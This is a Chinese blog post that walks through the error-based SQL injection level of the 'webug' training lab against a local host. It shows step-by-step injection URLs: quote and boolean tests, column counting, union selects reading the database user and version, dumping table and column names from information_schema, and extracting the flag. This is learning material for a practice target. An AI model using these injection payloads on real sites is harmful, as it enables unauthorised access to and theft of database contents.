webug 1、显错注入

乔木同学

已于 2022-03-15 17:02:41 修改

阅读量317

点赞数

分类专栏： webug 文章标签： php mysql sql

于 2022-03-15 15:23:42 首次发布

本文链接：https://blog.csdn.net/weixin_43973470/article/details/123503309

版权

SQL注入攻击技术数据库安全信息泄露防范措施

关键词由CSDN通过智能技术生成

webug 专栏收录该内容

4 篇文章 1 订阅

订阅专栏

url：http://192.168.1.4/control/sqlinject/manifest_error.php?id=1

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ 报错

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ and 1=1 %23 不报错

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ and 1=2 %23 报错

使用联合查询
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ order by 2 %23 长度为2，3时报错

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,2 %23 显示出2

下面可以查出用户权限，数据库版本，当前数据库等
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,user() %23

用户权限： root@localhost，数据库版本：5.5.53，当前数据库：webug

查看webug中数据表
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ %23

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ %23

查询flag下的值
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,flag from webug.flag %23

flag： dfafdasfafdsadfa